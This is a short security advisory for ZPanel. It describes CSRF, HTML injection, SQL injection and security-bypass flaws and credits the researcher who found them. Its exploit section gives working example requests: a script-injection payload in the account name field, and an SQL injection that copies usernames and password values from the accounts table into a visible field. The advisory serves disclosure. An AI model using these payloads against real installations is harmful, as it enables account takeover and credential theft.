ZPanel is prone to multiple remote security vulnerabilities, including: 1. A cross-site request forgery vulnerability. 2. An HTML-injection vulnerability. 3. An SQL-injection vulnerability. 4. A security-bypass weakness.
Credit:
The information has been provided by machuanlei.
Attackers can exploit these issues to bypass certain security restrictions, execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, to perform certain unauthorized actions, access or modify data, and exploit latent vulnerabilities in the underlying database. Other attacks may also be possible.
EXPLOIT:
Attackers can exploit these issues with a browser.
The following example URIs are available:
HTML-injection:
http://www.example.com/zpanel/?module=my_account&action=UpdateAccountSettings
Cookie: PHPSESSID=4rcq0qoqcdp5f3e65jiuvsujd2
Content-Type: application/x-www-form-urlencoded
Content-Length: 143
inFullname=Admin%3Cscript%3Ealert%28/fun/%29%3C%2Fscript%3E&inEmail=admin%
40example.com&inPhone=101&inLanguage=en&inAddress=Home&inPostalCode=101
2. http://www.example.com/?module=manage_clients&show=Edit&other=5
#<!---- 5 is the Client ID or ac_id_pk
Cookie: PHPSESSID=4rcq0qoqcdp5f3e65jiuvsujd2
Content-Type: application/x-www-form-urlencoded
Content-Length: 335
inGroup=2&inPackage=2&inFullName=reseller&inEmailAddress=reseller%
40example.com
%27%2C+ac_email_vc%3D%28select+group_concat%28ac_user_vc%2C+ac_pass_vc%29+from+%28select+*+from+x_accounts%29+as+fun%29+where+ac_id_pk%3D%275%27%3B--&inAddress=&inPostCode=&inPhone=%2B44%281473%29+000+000&inNewPassword=&inEnabled=1&inClientID=5&inSubmit=Save
